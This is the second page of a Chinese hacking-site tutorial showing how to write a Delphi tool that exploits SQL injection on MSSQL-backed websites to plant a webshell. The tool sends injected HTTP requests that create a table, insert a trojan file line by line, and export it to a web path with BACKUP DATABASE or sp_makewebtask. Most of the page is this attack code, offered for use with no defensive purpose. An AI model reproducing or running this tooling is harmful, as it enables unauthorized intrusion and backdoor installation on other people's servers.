黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[推荐]用Delphi实现SQL注入并得到WEBSHELL
        ★★★★★
用Delphi实现SQL注入并得到WEBSHELL
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-10-27

现在来写程序了。 

我们首先定义一个RECORD。 

如下:

Type 

SetOption = Record 

TableName : String; //用来保存要创建的表名. 

FieldName : String; //用来保存要创建的字段名. 

FiledType : String; //用来保存创建的字段名类型. 

End; 

FiledType字段类型的值是以下类型的一种: 

Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint 

Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. 

再定义一个全局变量: 

Var 

ISStop : Boolean; //用来判断用户是否按下了停止按纽. 

好了。在表单创建的过程中,我们为RECORD记录输入默认值. 

代码如下: 

procedure TMainForm.FormCreate(Sender: TObject); 

begin 

sOption.TableName :='cyfd' 

sOption.FieldName :='gmemo' 

sOption.FiledType :='text' 

end; 

现在我们添加开始执行命令的代码。 

先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. 

创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 

在程序开始执行前,我们得先检查一下用户的输入 

定义一个Checkinput函数. 

如下: 

Function CheckInput : Boolean; 

Begin 

Result := False; 

if Trim(urlet.Text) = '' then 

Begin 

Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); 

Exit; 

End; 

if Trim(ShellPathET.Text) = '' then 

Begin 

Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); 

Exit; 

End; 

IF DefBDoor.Checked then 

Begin 

if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then 

Begin 

Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); 

Exit; 

End; 

End 

Else 

if Not FileExists(CustomBdoorET.Text) then 

Begin 

Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); 

Exit; 

End; 

Result := True; 

End; 

在最开始加入: 

IF Not CheckInput then Exit; //如果输入不合法就退出过程. 

好了,如果用户输入没什么错,我们就来下面的代码。 

首先我们把IsStop设为假。创建BdoorList。 

BDoorList := TstringList.Create; 

再加木马内容到BDoorlist. 

BDoorList.LoadFromFile(CustomBdoorET.text); 

好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 

代码如下: 

BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); 

BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); 

接下来.我们就提交建表的功能了. 

Memo.Lines.Add('建表...'); 

Memo.Lines.Add(''); NMHttp.Get(Url+'Create%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); 

这样我们就创建了一个表。然后.我们向表中加记录: 

代码如下: 

Memo.Lines.Add('加数据...'); 

Memo.Lines.Add(''); 

For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. 

Begin 

IF IsStop then //这里如果点了停止按纽程序将终止任务. 

Begin 

BDoorList.Free; 

Exit; 

End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); 

Memo.Lines.Add('Add Line '+Inttostr(i+1)); 

End; 

现在就是导出数据生成木马了. 

Memo.Lines.Add('导出数据...'); 

Memo.Lines.Add(''); 

IF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 

NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 

Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); 

我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); 

这样我们的任务就完成了。下面来释放变量. 

BDoorList.Free; 

再来向停止按纽中添加点击事件: 

一行代码就行了:IsStop := True; 

到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。 

设置表单中先引用主表单.然后在界面中添加二个EDIT控件: 

第一个名称为:TableNameET //保用户输入的存临时表 

第二个名称为:FieldNameET //用来保存用户输入的字段名. 

再添加一个Combobox //用来保存用户所选的字段类型值. 

名称:FieldTypeCombox 

OK. 

代码如下: 

定义一个过程,主表单好调用这个设置。 

Procedure ShowSet; 

Begin 

Application.CreateForm(TSetForm,SetForm); 

With SetForm do 

Begin 

TableNameET.Text := sOption.TableName; 

FieldNameET.Text := sOption.FieldName; 

FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); 

End; 

SetForm.ShowModal; 

SetForm.Free; 

End; 

在主表单中设置的点击事件中添加上showset过程就行了。 

下面就是点击确定的代码了。 

IF CheckInput then 

Begin 

sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD. 

sOption.FieldName := Trim(FieldNameET.Text); 

sOption.FiledType := FieldTypeCombox.Text; 

Close; 

End; 

这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 

代码如下: 

Function CheckInput : Boolean; 

Begin 

Result := False; 

IF Trim(TableNameET.Text)='' then 

Begin 

Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); 

Exit; 

End; 

IF Trim(FieldNameET.Text)='' then 

Begin 

Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); 

Exit; 

End; 

Result := True; 

End; 

到这里程序就完了。

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886